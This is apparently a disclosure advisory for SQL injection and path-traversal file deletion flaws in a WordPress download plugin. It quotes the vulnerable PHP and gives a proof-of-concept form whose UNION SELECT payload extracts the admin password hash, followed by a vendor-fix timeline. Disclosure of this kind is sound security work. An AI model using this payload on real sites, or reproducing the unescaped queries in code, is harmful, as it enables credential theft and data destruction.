$_POST[ 'id' ]
is not escaped. populate_download_edit_form()
is accessible for every registered user.
File: double-opt-in-for-download\public\class-doifd.php
add_action( 'wp_ajax_populate_download_edit_form', array( $this, 'populate_download_edit_form' ) );
public function populate_download_edit_form() {
global $wpdb; // this is how you get access to the database
if( isset( $_POST[ 'id' ] ) ) {
$value = $_POST[ 'id' ];
$download = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}doifd_lab_downloads WHERE doifd_download_id = $value", ARRAY_A );
}
echo json_encode( $download );
die(); // this is required to terminate immediately and return a proper response
}
$_REQUEST['id']
is not escaped.
File: double-opt-in-for-download\admin\includes\class-doifd-admin-download-table.php
$ids = isset ( $_REQUEST['id'] ) ? $_REQUEST['id'] : array ( ) ;
if ( is_array ( $ids ) )
$ids = implode ( ',' , $ids ) ;
if ( ! empty ( $ids ) ) {
$wpdb->query ( "DELETE FROM $table_name WHERE doifd_download_id IN($ids)" ) ;
}
$_REQUEST['doifd_file_name']
is not used with basename()
so we can delete every file using as filename ../../something.extension
.
File: double-opt-in-for-download\admin\includes\class-doifd-admin-download-table.php
$file = isset ( $_REQUEST['doifd_file_name'] ) ? $_REQUEST['doifd_file_name'] : array ( ) ;
if ( is_array ( $file ) )
$file = implode ( ',' , $file ) ;
$file = explode ( ',' , $file ) ;
foreach ( $file as $key=> $value ) {
unlink ( DOIFD_DOWNLOAD_DIR . $value ) ;
}
Proof of Concept
Login as regular user (created using wp-login.php?action=register
):
<form name="xss" action="http://wp/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">
<input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">
<input type="submit" value="Send">
</form>
Timeline
- 03-12-2015: Discovered
- 03-12-2015: Vendor notified
- 05-12-2015: Version 2.1.0 released, issue resolved